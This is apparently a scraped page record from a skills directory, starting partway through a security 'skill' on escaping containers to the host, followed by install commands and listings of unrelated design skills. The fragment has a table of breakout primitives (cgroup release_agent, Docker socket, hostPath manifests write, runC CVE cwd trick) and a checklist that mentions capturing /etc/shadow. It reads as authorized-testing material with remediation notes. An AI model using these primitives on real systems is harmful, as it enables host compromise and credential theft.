\u002F `CAP_SYS_ADMIN` | `mount` of cgroup, write to `release_agent` |\n| Docker socket mount | `\u002Fvar\u002Frun\u002Fdocker.sock` bind-mounted | Daemon API call from a container |\n| hostPath `\u002F` mount | Pod mounts node root | Write to `\u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests` |\n| CVE-2024-21626 | runC fd leak before pivot_root | WORKDIR\u002Fcwd `=\u002Fproc\u002Fself\u002Ffd\u002FN` |\n| CVE-2025-31133\u002F52565\u002F52881 | procfs write redirect via mount race | RW mount of `\u002Fdev\u002Fconsole`, write to `\u002Fproc\u002Fsysrq-trigger` |\n\n## Validation Criteria\n\n- [ ] Container privilege posture enumerated (caps, namespaces, mounts, seccomp)\n- [ ] Available escape primitive correctly identified\n- [ ] Host-level code execution demonstrated (host hostname \u002F `\u002Fetc\u002Fshadow` \u002F host file write captured)\n- [ ] Root-cause misconfiguration or vulnerable runtime version recorded\n- [ ] runC\u002Fcontainerd\u002FDocker versions checked against CVE patch baselines\n- [ ] Remediation guidance (drop privileges, remove socket mount, patch runtime) documented\n- [ ] All actions stayed within the authorized scope\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"nist_csf":37,"subdomain":39,"description":7,"mitre_attack":40},[26,27,28,29,30,31,32,33],"container-escape","privileged-container","runc-cve","docker-socket","host-mount","kubernetes","privilege-escalation","breakout","mahipal","cybersecurity","1.0",[38],"PR.PS-01","container-security",[41],"T1611","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Fescaping-containers-to-host",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":52,"prompt":62,"zipAvailable":63},[53,56,59],{"tool":54,"command":55},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill escaping-containers-to-host",{"tool":57,"command":58},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill escaping-containers-to-host",{"tool":60,"command":61},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill escaping-containers-to-host","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fescaping-containers-to-host\u002FSKILL.md",true,[65,69,75,79],{"path":66,"resourceType":66,"resourceTypeDesc":67,"sizeBytes":68,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"references\u002Fapi-reference.md","REFERENCE","参考文档",2526,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fescaping-containers-to-host\u002Freferences\u002Fapi-reference.md",{"path":76,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fstandards.md",2311,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fescaping-containers-to-host\u002Freferences\u002Fstandards.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",6878,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fescaping-containers-to-host\u002Fscripts\u002Fagent.py",[86,94,102,111,118,125],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":90,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":98,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":107,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant presentations.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign-system\u002FSKILL.md",[],[],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":20},"01M7DJQXB6M0SFF7NX8J5N01AH","banner-design","Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter\u002FX, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal skills.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fbanner-design\u002FSKILL.md",[],[]]